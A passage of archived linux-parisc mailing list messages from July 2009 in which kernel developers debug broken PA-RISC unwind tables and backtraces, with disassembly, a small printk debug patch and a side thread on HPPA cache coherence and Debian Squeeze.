1010000c:       e0 20 23 da     be,n 1ec(sr4,r1)
10100010:       20 32 62 02     ldil L%10165000,r1
10100014:       e0 20 2a 0a     be,n 504(sr4,r1)
10100018:       20 34 42 06     ldil L%10368000,r1
1010001c:       e0 20 27 12     be,n 388(sr4,r1)
10100020:       20 33 f2 04     ldil L%102e7800,r1
10100024:       e0 20 22 ea     be,n 174(sr4,r1)
10100028:       20 35 22 06     ldil L%1032b000,r1
1010002c:       e0 20 2e 2a     be,n 714(sr4,r1)
(and continuing)
I assume this is a jump-table generated by the linker to
resolve long-distance calls?

and later:
         ...
10100700 <stext>:
10100700:       00 00 38 20     mtsp r0,sr4
10100704:       00 00 78 20     mtsp r0,sr5
10100708:       00 00 b8 20     mtsp r0,sr6
1010070c:       00 00 f8 20     mtsp r0,sr7
10100710:       20 69 80 0c     ldil L%692000,r3
10100714:       34 63 00 00     ldo 0(r3),r3
10100718:       20 93 f0 0c     ldil L%6e7800,r4
1010071c:       34 84 0f 58     ldo 7ac(r4),r4
10100720 <$bss_loop>:
10100720:       80 83 9f f7     cmpb,<<,n r3,r4,10100720 <$bss_loop>
10100724:       0c 60 12 a8     stw,ma r0,4(r3)
....

but the unwind table when running the kernel with the attached patch (see below) shows:
...
unwind_init: start = 0x105fb3c0, end = 0x10634f30, entries = 14775
unwind 1: 100ff900 - 100ffa80, len=385
unwind 2: 100ffa84 - 100ffad4, len=81
unwind 3: 100ffad8 - 100ffb2c, len=85
unwind 4: 100ffb30 - 100ffbc8, len=153
unwind 5: 100ffbcc - 100ffc38, len=109
unwind 6: 100ffc3c - 100ffc9c, len=97
unwind 7: 100ffca0 - 100ffd00, len=97
unwind 8: 100ffd04 - 100ffd64, len=97
unwind 9: 100ffd68 - 100ffdc8, len=97
unwind 10: 100ffdcc - 100ffdec, len=33

 From this table I don't even understand the values of the very first
entry (unwind 1: 100ff900 - 100ffa80).
This does not resolve to any entry in the assembly.

My assumption:
When the linker creates the long-distance jump table, it does not adjusts
the values in the unwind table.
Second, when the linker discards attribute-weak functions,
it doesn't deletes/adjusts the unwind table entries of the deleted functions either.

Question: Might my analysis be correct?

Helge

--------------030104070503020705080104
Content-Type: text/x-patch;
 name="dump-unwind-table.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="dump-unwind-table.diff"

diff --git a/arch/parisc/kernel/unwind.c b/arch/parisc/kernel/unwind.c
index 69dad5a..d7c7241 100644
--- a/arch/parisc/kernel/unwind.c
+++ b/arch/parisc/kernel/unwind.c
@@ -94,6 +94,10 @@ unwind_table_init(struct unwind_table *table, const char *name,
 	struct unwind_table_entry *start = table_start;
 	struct unwind_table_entry *end = 
 		(struct unwind_table_entry *)table_end - 1;
+	int nr = 0;
+
+	extern void stext();
+	// base_addr += ((unsigned long)&stext) - KERNEL_START; // HELGE
 
 	table->name = name;
 	table->base_addr = base_addr;
@@ -112,6 +116,15 @@ unwind_table_init(struct unwind_table *table, const char *name,
 
 		start->region_start += base_addr;
 		start->region_end += base_addr;
+		if (nr<10) {
+			nr++;
+			printk("unwind %d: %x - %x, len=%d\n",
+				nr,
+				start->region_start,
+				start->region_end,
+				start->region_end - start->region_start + 1);
+				
+		}
 	}
 }
 

--------------030104070503020705080104--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: unwind tables and backtraces broken?
Date: Mon, 6 Jul 2009 20:50:17 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <20090707005018.C697F4FE0@hiauly1.hia.nrc.ca>
References: <4A527397.7060306@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246927842 11477 80.91.229.12 (7 Jul 2009 00:50:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2009 00:50:42 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, dave.anglin@nrc-cnrc.gc.ca,
	carlos@systemhalted.org, randolph@tausq.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 07 02:50:34 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNytG-0000vQ-6o
	for glpp-linux-parisc@gmane.org; Tue, 07 Jul 2009 02:50:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752681AbZGGAu3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Jul 2009 20:50:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753027AbZGGAu3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 6 Jul 2009 20:50:29 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4112 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752234AbZGGAu2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Jul 2009 20:50:28 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id C697F4FE0; Mon,  6 Jul 2009 20:50:18 -0400 (EDT)
In-Reply-To: <4A527397.7060306@gmx.de> from "Helge Deller" at Jul 6, 2009 11:58:47 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1875
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1875>

> I started looking into why CONFIG_BACKTRACE_SELF_TEST=y shows uncomplete/wrong/broken backtraces.
> 
> To me it seems, that the unwind tables are broken when using newer gcc/binutils versions.

Just wondering, but would it be possible to switch to using dwarf2 unwind
information.  I presume that's what most other targets use.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/tracehook
Date: Tue, 7 Jul 2009 01:40:56 GMT
Lines: 14
Approved: news@gmane.org
Message-ID: <200907070140.n671euqU025327@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1246930868 17098 80.91.229.12 (7 Jul 2009 01:41:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2009 01:41:08 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 07 03:41:01 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNzg4-00005f-N4
	for glpp-linux-parisc@gmane.org; Tue, 07 Jul 2009 03:41:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755572AbZGGBkz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Jul 2009 21:40:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754908AbZGGBky
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 6 Jul 2009 21:40:54 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:50334 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755274AbZGGBkx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Jul 2009 21:40:53 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX188sZg6IRLzgleCq5hZWNVuVBbHCqxWo9U@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n671eu1J025329
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Tue, 7 Jul 2009 01:40:57 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n671euqU025327
	for linux-parisc@vger.kernel.org; Tue, 7 Jul 2009 01:40:56 GMT
X-Virus-Scanned: ClamAV 0.93.3/9539/Mon Jul  6 20:57:01 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Tue, 07 Jul 2009 01:40:57 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1876
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1876>

New commits:
commit 22a5b0c152da18d2f202bdee20120e0f1c2ce21c
Author: Kyle McMartin <kyle@shortfin.cabal.ca>
Date:   Mon Jul 6 21:39:52 2009 -0400

    parisc: fix up new-style... coredumps work at least.
    
    Definitely-not-in-any-way-signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Mon, 6 Jul 2009 21:47:09 -0400 (EDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <20090707014710.EF3975022@hiauly1.hia.nrc.ca>
References: <20090706214315.GA3826@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246931277 17828 80.91.229.12 (7 Jul 2009 01:47:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2009 01:47:57 +0000 (UTC)
Cc: carlos@systemhalted.org, randolph@tausq.org,
	James.Bottomley@hansenpartnership.com, deller@gmx.de,
	kurt@roeckx.be, pkern@debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, debian-release@lists.debian.org,
	kyle@mcmartin.ca
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 07 03:47:49 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNzme-0002a0-MG
	for glpp-linux-parisc@gmane.org; Tue, 07 Jul 2009 03:47:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754804AbZGGBrl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Jul 2009 21:47:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755185AbZGGBrl
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 6 Jul 2009 21:47:41 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4123 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754804AbZGGBrl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Jul 2009 21:47:41 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id EF3975022; Mon,  6 Jul 2009 21:47:10 -0400 (EDT)
In-Reply-To: <20090706214315.GA3826@bombadil.infradead.org> from "Kyle McMartin" at Jul 6, 2009 05:43:15 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1877 gmane.linux.debian.ports.hppa:5821 gmane.linux.debian.devel.release:31050
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1877>

> If I remember correctly, there's still some issues with the L2 cache on
> pa8800 that we haven't quite bothered to work out yet, since it's "good
> enough" for now. James probably knows more. It would be interesting to
> see if you could reproduce it with a UP 64-bit kernel on your C3750 to
> discount the L2 problems.

Googling, I see Grant had trouble with RCU_TORTURE_TEST=y.  Probably,
I should test current kernel to see if the problem is still present.

I guess you are referring to this change:
http://fossplanet.com/linux.debian.devel.kernel.cvs/thread-4378354-r7141-patches/

I'm thinking we must be missing a flush...  Maybe in clear_user_page
as for copy_user_page?

Do the problematic debian buildd machines have pa8800/pa8900 processors?

My sense is that some change (probably to the core memory management
code) made the coherence issue worse post 2.6.22.x.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Mon, 6 Jul 2009 20:43:42 -0600
Lines: 48
Approved: news@gmane.org
Message-ID: <20090707024342.GB15572@lackof.org>
References: <20090706214315.GA3826@bombadil.infradead.org> <20090707014710.EF3975022@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1246934635 24030 80.91.229.12 (7 Jul 2009 02:43:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2009 02:43:55 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, carlos@systemhalted.org,
	randolph@tausq.org, James.Bottomley@hansenpartnership.com,
	deller@gmx.de, kurt@roeckx.be, pkern@debian.org,
	debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	debian-release@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 07 04:43:46 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MO0en-0000Rq-E3
	for glpp-linux-parisc@gmane.org; Tue, 07 Jul 2009 04:43:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754132AbZGGCnk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Jul 2009 22:43:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754134AbZGGCnk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 6 Jul 2009 22:43:40 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:35816 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754132AbZGGCnj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Jul 2009 22:43:39 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 4FBC533E001E;
	Mon,  6 Jul 2009 20:43:43 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id RH6DonWJyDXX; Mon,  6 Jul 2009 20:43:42 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 1012)
	id E0B1833E004D; Mon,  6 Jul 2009 20:43:42 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090707014710.EF3975022@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1878 gmane.linux.debian.ports.hppa:5822 gmane.linux.debian.devel.release:31051
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1878>

On Mon, Jul 06, 2009 at 09:47:09PM -0400, John David Anglin wrote:
> > If I remember correctly, there's still some issues with the L2 cache on
> > pa8800 that we haven't quite bothered to work out yet, since it's "good
> > enough" for now. James probably knows more. It would be interesting to
> > see if you could reproduce it with a UP 64-bit kernel on your C3750 to
> > discount the L2 problems.
> 
> Googling, I see Grant had trouble with RCU_TORTURE_TEST=y.  Probably,
> I should test current kernel to see if the problem is still present.
> 
> I guess you are referring to this change:
> http://fossplanet.com/linux.debian.devel.kernel.cvs/thread-4378354-r7141-patches/
> 
> I'm thinking we must be missing a flush...  Maybe in clear_user_page
> as for copy_user_page?
> 
> Do the problematic debian buildd machines have pa8800/pa8900 processors?

dannf@penalosa:~$ cat /proc/cpuinfo 
processor	  : 0
cpu family	  : PA-RISC 2.0
cpu 		  : PA8700 (PCX-W2)
cpu MHz		    : 750.000000
model		      : 9000/785/J6700
model name	      : Duet W2
hversion	      : 0x00005dd0
sversion	      : 0x00000491
I-cache		      	: 768 KB
D-cache			  : 1536 KB (WB, direct mapped)
ITLB entries		  : 240
DTLB entries		  : 240 - shared with ITLB
bogomips		  : 1495.04
software id		  : 2001606322


> My sense is that some change (probably to the core memory management
> code) made the coherence issue worse post 2.6.22.x.
> 
> Dave

-- 
dann frazier

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: unwind tables and backtraces broken?
Date: Tue, 07 Jul 2009 10:57:18 +0800
Lines: 47
Approved: news@gmane.org
Message-ID: <4A52B98E.2070708@tausq.org>
References: <4A527397.7060306@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246935459 25399 80.91.229.12 (7 Jul 2009 02:57:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2009 02:57:39 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Carlos O'Donell <carlos@systemhalted.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 07 04:57:31 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MO0s5-000344-9G
	for glpp-linux-parisc@gmane.org; Tue, 07 Jul 2009 04:57:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754268AbZGGC5Y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Jul 2009 22:57:24 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754604AbZGGC5Y
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 6 Jul 2009 22:57:24 -0400
Original-Received: from wf-out-1314.google.com ([209.85.200.175]:25247 "EHLO
	wf-out-1314.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754268AbZGGC5X (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Jul 2009 22:57:23 -0400
Original-Received: by wf-out-1314.google.com with SMTP id 26so1658903wfd.4
        for <linux-parisc@vger.kernel.org>; Mon, 06 Jul 2009 19:57:25 -0700 (PDT)
Original-Received: by 10.142.52.7 with SMTP id z7mr1654661wfz.180.1246935444844;
        Mon, 06 Jul 2009 19:57:24 -0700 (PDT)
Original-Received: from ?192.168.100.52? (ip127.bb146.pacific.net.hk [202.64.146.127])
        by mx.google.com with ESMTPS id 28sm3294514wfd.24.2009.07.06.19.57.22
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Mon, 06 Jul 2009 19:57:24 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.22 (Windows/20090605)
In-Reply-To: <4A527397.7060306@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1879
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1879>

Helge,

> but the unwind table when running the kernel with the attached patch 
> (see below) shows:
> ...
> unwind_init: start = 0x105fb3c0, end = 0x10634f30, entries = 14775
> unwind 1: 100ff900 - 100ffa80, len=385
> unwind 2: 100ffa84 - 100ffad4, len=81
> unwind 3: 100ffad8 - 100ffb2c, len=85
> unwind 4: 100ffb30 - 100ffbc8, len=153
> unwind 5: 100ffbcc - 100ffc38, len=109
> unwind 6: 100ffc3c - 100ffc9c, len=97
> unwind 7: 100ffca0 - 100ffd00, len=97
> unwind 8: 100ffd04 - 100ffd64, len=97
> unwind 9: 100ffd68 - 100ffdc8, len=97
> unwind 10: 100ffdcc - 100ffdec, len=33
>
> From this table I don't even understand the values of the very first
> entry (unwind 1: 100ff900 - 100ffa80).
> This does not resolve to any entry in the assembly.
I am a little fuzzy on the details, but the numbers printed above are 
what is stored in the unwind table. This does not correspond with the 
actual address in memory, which is adjusted by an offset. In the case of 
kernel symbols, this offset is KERNEL_START (this is a parameter passed 
to unwind_table_init()

> My assumption:
> When the linker creates the long-distance jump table, it does not adjusts
> the values in the unwind table.
this used to work.....
> Second, when the linker discards attribute-weak functions,
> it doesn't deletes/adjusts the unwind table entries of the deleted 
> functions either.
can you try this with a userspace program? gdb uses this same unwind 
information to do backtraces. if the unwind info is wrong gdb will be 
very broken.

On the other hand, the kernel does use a more complex linker script so 
it is possible that some options in the linker script is triggering some 
bug.

randolph
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: unwind tables and backtraces broken?
Date: Tue, 07 Jul 2009 11:07:14 +0800
Lines: 23
Approved: news@gmane.org
Message-ID: <4A52BBE2.7020507@tausq.org>
References: <20090707005018.C697F4FE0@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246936051 26613 80.91.229.12 (7 Jul 2009 03:07:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2009 03:07:31 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	dave.anglin@nrc-cnrc.gc.ca, carlos@systemhalted.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 07 05:07:24 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MO11d-0007eu-Tu
	for glpp-linux-parisc@gmane.org; Tue, 07 Jul 2009 05:07:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754778AbZGGDHQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Jul 2009 23:07:16 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754798AbZGGDHQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 6 Jul 2009 23:07:16 -0400
Original-Received: from mail-pz0-f193.google.com ([209.85.222.193]:58464 "EHLO
	mail-pz0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754778AbZGGDHP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Jul 2009 23:07:15 -0400
Original-Received: by pzk31 with SMTP id 31so2680495pzk.33
        for <linux-parisc@vger.kernel.org>; Mon, 06 Jul 2009 20:07:18 -0700 (PDT)
Original-Received: by 10.115.32.8 with SMTP id k8mr8603477waj.15.1246936038580;
        Mon, 06 Jul 2009 20:07:18 -0700 (PDT)
Original-Received: from ?192.168.100.52? (ip127.bb146.pacific.net.hk [202.64.146.127])
        by mx.google.com with ESMTPS id n30sm12241998wag.41.2009.07.06.20.07.16
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Mon, 06 Jul 2009 20:07:17 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.22 (Windows/20090605)
In-Reply-To: <20090707005018.C697F4FE0@hiauly1.hia.nrc.ca>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1880
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1880>

John David Anglin wrote:
>> I started looking into why CONFIG_BACKTRACE_SELF_TEST=y shows uncomplete/wrong/broken backtraces.
>>
>> To me it seems, that the unwind tables are broken when using newer gcc/binutils versions.
> 
> Just wondering, but would it be possible to switch to using dwarf2 unwind
> information.  I presume that's what most other targets use.

the hppa kernel unwinder is derived from the ia64 unwinder, which is not 
dwarf2 based.

The only dwarf references I find in the kernel are some dwarf markups in 
signal frames to help userspace with signal frame unwinding. Have I 
missed anything?

x86 seems to do something very ad-hoc.

randolph
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: unwind tables and backtraces broken?
Date: Tue, 7 Jul 2009 00:42:14 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20090707044214.GB3826@bombadil.infradead.org>
References: <20090707005018.C697F4FE0@hiauly1.hia.nrc.ca> <4A52BBE2.7020507@tausq.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1246941752 4290 80.91.229.12 (7 Jul 2009 04:42:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2009 04:42:32 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	dave.anglin@nrc-cnrc.gc.ca, carlos@systemhalted.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 07 06:42:24 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
